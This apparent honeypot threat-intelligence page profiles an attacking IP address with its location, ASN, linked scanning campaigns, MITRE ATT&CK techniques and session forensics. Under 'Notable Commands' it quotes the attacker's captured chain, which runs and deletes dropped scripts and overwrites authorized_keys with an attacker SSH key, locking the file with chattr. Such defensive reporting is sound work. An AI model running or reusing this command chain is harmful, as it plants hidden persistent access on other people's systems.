IntrusionLabs IntrusionLabs
← Back to feed

94.154.43.208

TAGGED MALICIOUS how we decide →
Why: Our sensors observed data exfiltrator sessions · certainty: inferred
Threat Confidence
75%
Assessment
Uploads files to compromised hosts
  • Downloaded 1 files and ran 4 commands on the host.
  • Part of a 351-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇳🇱 NL / Amsterdam
ASN
AS219502 · Storm Industries LLC
Cloud Provider
—
Total Events
61
Above average by volume
Agent Count
3
First / Last Seen
2026-10-28 07:02 — 2026-10-28 15:28
Attack Types
ssh:intrusion ssh:malware
MITRE ATT&CK Techniques
Initial Access
T1078
Execution
T1059.004
Defense Evasion
T1070.004
Discovery
T1082
Command and Control
T1105
Exfiltration
T1048
External Corroboration
Not flagged by any external feeds
Campaigns
Subnet 94.154.43.0/24 SUBNET Active high 🇳🇱 NL
8 IPs 4289 events
http:scanssh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:bruteforcetelnet:connectiontelnet:intrusiontelnet:malware
2026-06-30 — ongoing · 8 IPs from the same /24 subnet (94.154.43.0/24) were observed attacking our sensors within the same time window. …
Multi-Agent Scan SCAN Active medium
226 IPs 769037 events
2026-03-30 — ongoing · 226 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
7 IPs 6278 events
2026-03-29 — ongoing · 7 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
351 IPs 1242899 events
2026-03-04 — ongoing · 351 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
3 IPs 19203 events
2026-03-01 — ongoing · 3 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
282 IPs 1012762 events
2026-02-28 — ongoing · 282 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
314 IPs 1133619 events
2026-02-28 — ongoing · 314 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
malware_dropper ×1 data_exfiltrator ×3
Sessions
4 (4 with login)
Avg Depth Score
0.92
Commands Executed
4
Files Downloaded
1
Notable Commands
  • chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
Fingerprints
1 SSH client banner · 1 HASSH fingerprint
HASSH
16443846184eafde36765c9bab2f4397
SSH Client
SSH-2.0-Go
Evidence Timeline
Data Exfiltrator 8957fb5459c2 w4m_singapore_01 · 2026-10-28 15:27
1 1 90%
Loading events...
Malware Dropper 36cc981fcfee newark_01 · 2026-10-28 14:38
1 1 1 100%
Loading events...
Data Exfiltrator 37d5ec2ed7d4 w4m_seattle_01 · 2026-10-28 14:33
1 1 90%
Loading events...
Data Exfiltrator 80ed62c159f8 w4m_singapore_01 · 2026-10-28 07:02
1 1 90%
Loading events...